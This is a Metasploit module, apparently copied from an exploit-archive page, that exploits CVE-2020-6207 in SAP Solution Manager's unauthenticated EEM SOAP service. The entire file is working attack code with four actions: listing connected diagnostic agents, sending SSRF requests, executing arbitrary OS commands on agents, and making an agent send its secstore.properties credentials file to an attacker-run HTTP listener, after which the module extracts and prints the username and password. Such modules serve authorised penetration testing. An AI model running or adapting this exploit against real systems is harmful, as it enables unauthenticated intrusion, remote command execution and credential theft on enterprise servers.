Share
## https://sploitus.com/exploit?id=PACKETSTORM:180811
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::SapSolManEemMissAuth  
include Msf::Exploit::Local::SapSmdAgentUnencryptedProperty  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'SAP Solution Manager remote unauthorized OS commands execution',  
'License' => MSF_LICENSE,  
'Author' => [  
'Yvan Genuer', # @_1ggy The researcher who originally found this vulnerability  
'Pablo Artuso', # @lmkalg The researcher who originally found this vulnerability  
'Dmitry Chastuhin', # @chipik The researcher who made first PoC  
'Vladimir Ivanov' # @_generic_human_ This Metasploit module  
],  
'Description' => %q{  
This module exploits the CVE-2020-6207 vulnerability within the SAP EEM servlet (tc~smd~agent~application~eem) of  
SAP Solution Manager (SolMan) running version 7.2. The vulnerability occurs due to missing authentication  
checks when submitting SOAP requests to the /EemAdminService/EemAdmin page to get information about connected SMDAgents,  
send HTTP request (SSRF), and execute OS commands on connected SMDAgent. Works stable in connected SMDAgent with Java version 1.8.  
  
Successful exploitation of the vulnerability enables unauthenticated remote attackers to achieve SSRF and execute OS commands from the agent connected  
to SolMan as a user from which the SMDAgent service starts, usually the daaadm.  
},  
'References' => [  
['CVE', '2020-6207'],  
['URL', 'https://i.blackhat.com/USA-20/Wednesday/us-20-Artuso-An-Unauthenticated-Journey-To-Root-Pwning-Your-Companys-Enterprise-Software-Servers-wp.pdf'],  
['URL', 'https://github.com/chipik/SAP_EEM_CVE-2020-6207']  
],  
'Actions' => [  
['LIST', { 'Description' => 'List connected agents' }],  
['SSRF', { 'Description' => 'Send SSRF from connected agent' }],  
['EXEC', { 'Description' => 'Exec OS command on connected agent' }],  
['SECSTORE', { 'Description' => 'Get file with SolMan credentials from connected agent' }]  
],  
'DefaultAction' => 'LIST',  
'DisclosureDate' => '2020-10-03',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS],  
'Reliability' => []  
}  
)  
)  
register_options(  
[  
Opt::RPORT(50000),  
OptString.new('TARGETURI', [true, 'Path to the SAP Solution Manager EemAdmin page from the web root', '/EemAdminService/EemAdmin']),  
OptString.new('SSRF_METHOD', [true, 'HTTP method for SSRF', 'GET'], conditions: %w[ACTION == SSRF]),  
OptString.new('SSRF_URI', [true, 'URI for SSRF', 'http://127.0.0.1:80/'], conditions: %w[ACTION == SSRF]),  
OptString.new('COMMAND', [true, 'Command for execute in agent', 'id'], conditions: %w[ACTION == EXEC]),  
OptAddress.new('SRVHOST', [ true, 'The local IP address to listen HTTP requests from agents', '192.168.1.1' ], conditions: %w[ACTION == SECSTORE]),  
OptPort.new('SRVPORT', [ true, 'The local port to listen HTTP requests from agents', 8000 ], conditions: %w[ACTION == SECSTORE]),  
OptString.new('AGENT', [true, 'Agent server name for exec command or SSRF', 'agent_server_name'], conditions: ['ACTION', 'in', %w[SSRF EXEC SECSTORE]]),  
]  
)  
end  
  
def setup_xml_and_variables  
@host = datastore['RHOSTS']  
@port = datastore['RPORT']  
@srv_host = datastore['SRVHOST']  
@srv_port = datastore['SRVPORT']  
@path = datastore['TARGETURI']  
  
@agent_name = datastore['AGENT']  
@script_name = Rex::Text.rand_text_alphanumeric(12)  
  
if datastore['SSL']  
@schema = 'https://'  
else  
@schema = 'http://'  
end  
  
@solman_uri = "#{@schema}#{@host}:#{@port}#{@path}"  
  
@ssrf_method = datastore['SSRF_METHOD']  
@ssrf_uri = datastore['SSRF_URI']  
@ssrf_payload = make_ssrf_payload(@ssrf_method, @ssrf_uri)  
@rce_command = datastore['COMMAND']  
  
@username = nil  
@password = nil  
end  
  
# Report Service and Vulnerability  
def report_service_and_vuln  
report_service(  
host: @host,  
port: @port,  
name: 'soap',  
proto: 'tcp',  
info: 'SAP Solution Manager'  
)  
report_vuln(  
host: @host,  
port: @port,  
name: name,  
refs: references  
)  
end  
  
# Handle incoming HTTP requests from connected agents  
def on_request_uri(cli, request)  
response = create_response(200, 'OK')  
response.body = 'Received'  
cli.send_response(response)  
  
agent_host = cli.peerhost  
request_uri = request.raw_uri  
secstore_content = request.body  
secstore_filename = request.headers['X-File-Name']  
  
if secstore_content.nil? || secstore_filename.nil? || agent_host.nil? || request_uri.nil? || request_uri != "/#{@script_name}"  
fail_with(Failure::PayloadFailed, "Failed to retrieve secstore.properties file from agent #{@agent_name}.")  
end  
print_status("Received HTTP request from agent #{@agent_name} - #{agent_host}")  
  
# Loot secstore.properties file  
loot = store_loot('smdagent.secstore.properties', 'text/plain', agent_host, secstore_content, secstore_filename, 'SMD Agent secstore.properties file')  
print_good("Successfully retrieved file #{secstore_filename} from agent: #{@agent_name} saved in: #{loot}")  
vprint_good("File content:\n#{secstore_content}")  
  
# Analyze secstore.properties file  
properties = parse_properties(secstore_content)  
properties.each do |property|  
case property[:name]  
when 'smd/agent/User'  
@username = property[:value]  
when 'smd/agent/Password'  
@password = property[:value]  
end  
end  
  
# Store decoded credentials and report vulnerability  
if @username.nil? || @password.nil?  
fail_with(Failure::NotVulnerable, "The agent: #{@agent_name} sent a secstore.properties file, but this file is likely encrypted or does not contain credentials. The agent: #{@agent_name} is likely patched.")  
else  
# Store decoded credentials  
print_good("Successfully encoded credentials for SolMan server: #{@host}:#{@port} from agent: #{@agent_name} - #{agent_host}")  
print_good("SMD username: #{@username}")  
print_good("SMD password: #{@password}")  
store_valid_credential(  
user: @username,  
private: @password,  
private_type: :password,  
service_data: {  
origin_type: :service,  
address: @host,  
port: @port,  
service_name: 'http',  
protocol: 'tcp'  
}  
)  
# Report vulnerability  
new_references_array = [  
%w[CVE 2019-0307],  
%w[URL https://conference.hitb.org/hitblockdown002/materials/D2T1%20-%20SAP%20RCE%20-%20The%20Agent%20Who%20Spoke%20Too%20Much%20-%20Yvan%20Genuer.pdf]  
]  
new_references = Rex::Transformer.transform(new_references_array, Array, [SiteReference, Reference], 'Ref')  
report_vuln(  
host: agent_host,  
name: 'Diagnostics Agent in Solution Manager, stores unencrypted credentials for Solution Manager server',  
refs: new_references  
)  
end  
end  
  
def run  
setup_xml_and_variables  
case action.name  
when 'LIST'  
action_list  
when 'SSRF'  
action_ssrf  
when 'EXEC'  
action_exec  
when 'SECSTORE'  
action_secstore  
else  
print_error("The action #{action.name} is not a supported action.")  
end  
end  
  
def action_list  
print_status("Getting a list of agents connected to the Solution Manager: #{@host}")  
agents = make_agents_array  
  
report_service_and_vuln  
if agents.empty?  
print_good("Solution Manager server: #{@host}:#{@port} is vulnerable but no agents are connected!")  
else  
print_good("Successfully retrieved agent list:\n#{pretty_agents_table(agents)}")  
end  
end  
  
def action_ssrf  
check_agent(@agent_name)  
  
print_status("Enable EEM on agent: #{@agent_name}")  
enable_eem(@agent_name)  
  
print_status("Start script: #{@script_name} with SSRF payload on agent: #{@agent_name}")  
send_soap_request(make_soap_body(@agent_name, @script_name, @ssrf_payload))  
  
print_status("Stop script: #{@script_name} on agent: #{@agent_name}")  
stop_script_in_agent(@agent_name, @script_name)  
  
print_status("Delete script: #{@script_name} on agent: #{@agent_name}")  
delete_script_in_agent(@agent_name, @script_name)  
  
report_service_and_vuln  
print_good("Send SSRF: '#{@ssrf_method} #{@ssrf_uri} HTTP/1.1' from agent: #{@agent_name}")  
end  
  
def action_exec  
check_agent(@agent_name)  
  
print_status("Enable EEM on agent: #{@agent_name}")  
enable_eem(@agent_name)  
  
print_status("Start script: #{@script_name} with RCE payload on agent: #{@agent_name}")  
send_soap_request(make_soap_body(@agent_name, @script_name, make_rce_payload(@rce_command)))  
  
print_status("Stop script: #{@script_name} on agent: #{@agent_name}")  
stop_script_in_agent(@agent_name, @script_name)  
  
print_status("Delete script: #{@script_name} on agent: #{@agent_name}")  
delete_script_in_agent(@agent_name, @script_name)  
  
report_service_and_vuln  
print_good("Execution command: '#{@rce_command}' on agent: #{@agent_name}")  
end  
  
def action_secstore  
agent = check_agent(@agent_name)  
  
print_status("Enable EEM on agent: #{@agent_name}")  
enable_eem(@agent_name)  
  
start_service(  
{  
'Uri' => {  
'Proc' => proc { |cli, req| on_request_uri(cli, req) },  
'Path' => "/#{@script_name}"  
}  
}  
)  
@creds_payload = make_steal_credentials_payload(agent[:instanceName], @srv_host, @srv_port, "/#{@script_name}")  
print_status("Start script: #{@script_name} with payload for retrieving SolMan credentials file from agent: #{@agent_name}")  
send_soap_request(make_soap_body(@agent_name, @script_name, @creds_payload))  
  
sleep(5)  
print_status("Stop script: #{@script_name} on agent: #{@agent_name}")  
stop_script_in_agent(@agent_name, @script_name)  
  
print_status("Delete script: #{@script_name} on agent: #{@agent_name}")  
delete_script_in_agent(@agent_name, @script_name)  
  
report_service_and_vuln  
if @username.nil? && @password.nil?  
print_error("Failed to retrieve or decode SolMan credentials file from agent: #{@agent_name}")  
end  
end  
  
end